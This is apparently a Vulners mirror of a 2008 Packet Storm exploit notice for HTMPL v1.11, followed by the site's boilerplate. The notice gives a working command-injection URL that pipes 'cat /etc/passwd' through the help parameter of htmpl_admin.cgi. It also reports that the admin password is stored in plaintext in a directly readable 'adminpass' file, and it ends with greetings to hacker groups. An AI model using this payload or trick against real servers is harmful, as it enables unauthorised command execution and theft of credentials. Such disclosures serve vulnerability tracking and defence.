Lucene search
K

HTMPL 1.11 Code Execution

🗓️ 10 Dec 2008 00:00:00Reported by ZeNType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

HTMPL v1.11 Code Execution vulnerability, severity: High, exploit to execute commands and access plaintext admin password

Code
`Software : HTMPL v1.11  
Download Link : http://vmeste.org/templ_ex/doc/1.html  
Vulnrability : Command Execution  
Severity : High  
Author : ZeN  
Website : http://dusecurity.com / http://darkcode.me/  
  
Exploit :  
site.com/cgi-bin/htmpl_admin.cgi?help=|cat /etc/passwd  
  
  
A few other little..... tricks  
The admins password is kept plaintext in the file 'adminpass', you can just access it directly  
in the same directory.  
  
Thanks str0ke ;)  
  
Shouts to :  
DU Security Group  
DarkCoders  
WL-Group  
Milw0rm  
EnigmaGroup  
IWannaHack  
HackHound  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation